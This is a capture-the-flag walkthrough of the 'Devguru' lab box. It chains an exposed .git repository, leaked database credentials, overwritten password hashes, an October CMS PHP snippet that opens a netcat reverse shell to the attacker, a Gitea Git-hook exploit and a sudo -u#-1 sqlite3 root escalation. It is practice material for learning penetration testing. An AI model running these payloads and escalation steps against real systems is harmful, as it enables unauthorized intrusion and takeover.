HMV Devguru Walkthrough
This is a Linux box that initially looked like a standard corporate website plus a small Git service
on port 8585. The real problem was that the main web root exposed /.git/, which turned the target
into a source-code disclosure bug. From the dumped repository I recovered October CMS database
credentials, reset the backend user's password by replacing its bcrypt hash, and used a known
October CMS authenticated RCE to land as www-data.
From there, local enumeration showed that frank was running Gitea and that a backup app.ini
under /var/backups/ contained a second set of database credentials. Repeating the same "replace
instead of crack" strategy on the Gitea user table gave me access to Frank's Gitea account. The
installed Gitea version was vulnerable to authenticated Git hook RCE, which yielded a shell as
frank. The final step was a misconfigured sudoers rule for sqlite3; by using the classic
sudo -u#-1 trick against an affected sudo version, I escalated to root.
Summary
Scope
- Name: Devguru
- Difficulty: (6/10)
- OS: Linux
- IP: devguru.local (192.168.56.113)
Learned
- An exposed
.gitdirectory can leak much more than source code: it often reveals service topology, usernames, and reusable secrets. - When an application database is reachable with leaked credentials, replacing a password hash is usually faster than trying to crack it.
- Backup configuration files such as
/var/backups/app.ini.bakare high-value loot during post-exploitation. sudoersentries like(ALL, !root)are not a safe boundary on vulnerablesudoversions.
Enumeration
Nmap
Overall
# Nmap 7.98 scan initiated Mon Mar 30 15:23:07 2026 as: nmap -p- --min-rate 3000 -oN overall 192.168.56.113 Nmap scan report for 192.168.56.113 Host is up (0.000064s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8585/tcp open unknown
Detail
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-git: | 192.168.56.113:80/.git/ | Git repository found! | Remotes: | http://devguru.local:8585/frank/devguru-website.git |_http-title: Corp - DevGuru 8585/tcp open http Golang net/http server |_http-title: Gitea: Git with a cup of tea
That scan result already laid out the attack surface. Port 80 hosted the Devguru website, but the
more important clue was http-git reporting that the web root exposed a live Git repository. Port
8585 was a separate Gitea instance, and the leaked remote URL tied both services together through
the user frank.
A quick browser check of the exposed services made that split fairly obvious as well.
Web
A quick directory brute-force confirmed that the web server was far too open.
$ gobuster dir -u http://192.168.56.113/ -w /usr/share/wordlists/dirb/common.txt -t 10 -x php,txt,html,bak,zip,pdf .git/HEAD (Status: 200) backend (Status: 302) config (Status: 301) modules (Status: 301) plugins (Status: 301) storage (Status: 301) themes (Status: 301) vendor (Status: 301)
The exposed /.git/ directory was the obvious priority, so I dumped the repository locally.
$ git-dumper http://192.168.56.113/.git src
The repository metadata immediately revealed the internal hostname and the Gitea project that backed the website.
[remote "origin"]
url = http://devguru.local:8585/frank/devguru-website.git
[branch "master"]
remote = origin
merge = refs/heads/master
Reviewing the dumped source was enough to identify the stack as October CMS and, more importantly, to recover its MySQL credentials.
'name' => 'October CMS',
'key' => '6sV31eACpUbLCNTKumX3zb5LiKD8gHin',
'mysql' => [
'host' => 'localhost',
'port' => 3306,
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ************XH',
],
At that point brute forcing was unnecessary. If the application leaked working database credentials, it was much simpler to write a password I controlled than to recover Frank's original one.
Foothold
Using the October CMS database credentials, I connected to MySQL and inspected the backend
administrator table. The dumped code showed that backend users live in backend_users and store a
bcrypt-hashed password field, so I generated my own bcrypt value locally and replaced Frank's
hash.
UPDATE backend_users SET password = '$2y$10$<my-bcrypt-hash>' WHERE login = 'frank';
After that change, I could sign in to /backend as frank. The installed version was October CMS
1.0.469. That matched the vulnerable branch noted in the local research notes.
The backend then turned into code execution: an authenticated CMS page snippet using onInit() was
enough to trigger a reverse shell.
<?php
function onInit() {
passthru('busybox nc 192.168.56.1 1337 -e /bin/bash');
}
Once the page executed, I landed as www-data.
Privilege Escalation
www-data to frank
Basic host enumeration narrowed the interesting users down quickly.
www-data@devguru:/var/www/html$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
frank:x:1000:1000:,,,:/home/frank:/bin/bash
A process listing showed that frank was running Gitea.
www-data@devguru:/home$ ps -ef | grep frank | grep -v grep frank 748 1 0 10:22 ? 00:00:40 /usr/local/bin/gitea web --config /etc/gitea/app.ini
That immediately justified hunting for Gitea-owned files, and the search paid off with a backup configuration file.
www-data@devguru:/home$ find / -mount -user frank -or -group frank 2>/dev/null /var/lib/gitea /var/backups/app.ini.bak /usr/local/bin/gitea /opt/gitea /home/frank /etc/gitea
The backup app.ini contained a second set of database credentials.
[database] DB_TYPE = mysql HOST = 127.0.0.1:3306 NAME = gitea USER = gitea PASSWD = Uf************2m
Querying the gitea database exposed Frank's stored password hash.
SELECT name, salt, passwd, passwd_hash_algo FROM user; +-------+------------+------------------------------------------------------------------------------------------------------+------------------+ | name | salt | passwd | passwd_hash_algo | +-------+------------+------------------------------------------------------------------------------------------------------+------------------+ | frank | Bop8nwtUiM | c200e0d03d1604cee72c484f154dd82d75c7247b04ea971a96dd1def8682d02488d0323397e26a18fb806c7a20f0b564c900 | pbkdf2 | +-------+------------+------------------------------------------------------------------------------------------------------+------------------+
Again, cracking was the slow option. Gitea stores the hash value and the algorithm metadata separately, so I replaced both and reused the bcrypt value I had already generated for October CMS.
UPDATE user SET passwd = '$2y$10$<my-bcrypt-hash>', passwd_hash_algo = 'bcrypt' WHERE name = 'frank';
With that done, I logged into Gitea on port 8585 as frank. The version there was 1.12.5.
That release was vulnerable to authenticated Git hook RCE. I downloaded a exploit
script from the GitHub proof of concept and reused it directly.
www-data to frank.$ python3 exploit.py -t http://devguru.local:8585 -u frank -p '<new-password>' -I 192.168.56.1 -P 1337
After the malicious post-receive hook fired, the reverse shell came back as frank.
Connection received on 192.168.56.113 41956 frank@devguru:~/gitea-repositories/frank/exploit.git$ id uid=1000(frank) gid=1000(frank) groups=1000(frank)
frank to root
The final escalation step was hidden in sudoers.
frank@devguru:/home/frank$ sudo -l
Matching Defaults entries for frank on devguru:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User frank may run the following commands on devguru:
(ALL, !root) NOPASSWD: /usr/bin/sqlite3
At first glance that rule tries to forbid running sqlite3 as root, but on affected sudo
versions the !root restriction can be bypassed with a numeric uid of -1. sqlite3 also gives
us a shell escape, so the combination is fatal.
frank@devguru:/home/frank$ sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/bash' id uid=0(root) gid=1000(frank) groups=1000(frank)
That dropped me into a root shell and completed the box.
Takeaways
This machine chained together two very similar failures. First, the exposed website repository leaked database credentials, which let me replace an October CMS password hash and turn a web admin login into remote code execution. Second, a Gitea backup file leaked another database password, which let me repeat the same strategy against the self-hosted Git service and pivot to Frank.
The last mile was a classic Linux hardening failure: a dangerous sudoers rule combined with a
version-dependent bypass. The broader lesson is that secrets, backups, and configuration drift
compound each other. None of the individual bugs were especially exotic, but together they created
a clean path from unauthenticated web access to root.
Footnotes:
October CMS authenticated RCE references: CVE-2022-21705 and CVE-2021-32649.
GitHub proof of concept I downloaded and reused: CVE-2020-14144 Git hook exploit.
Background for the sudo -u#-1 bypass and the sqlite3 shell escape: HackTricks and GTFObins.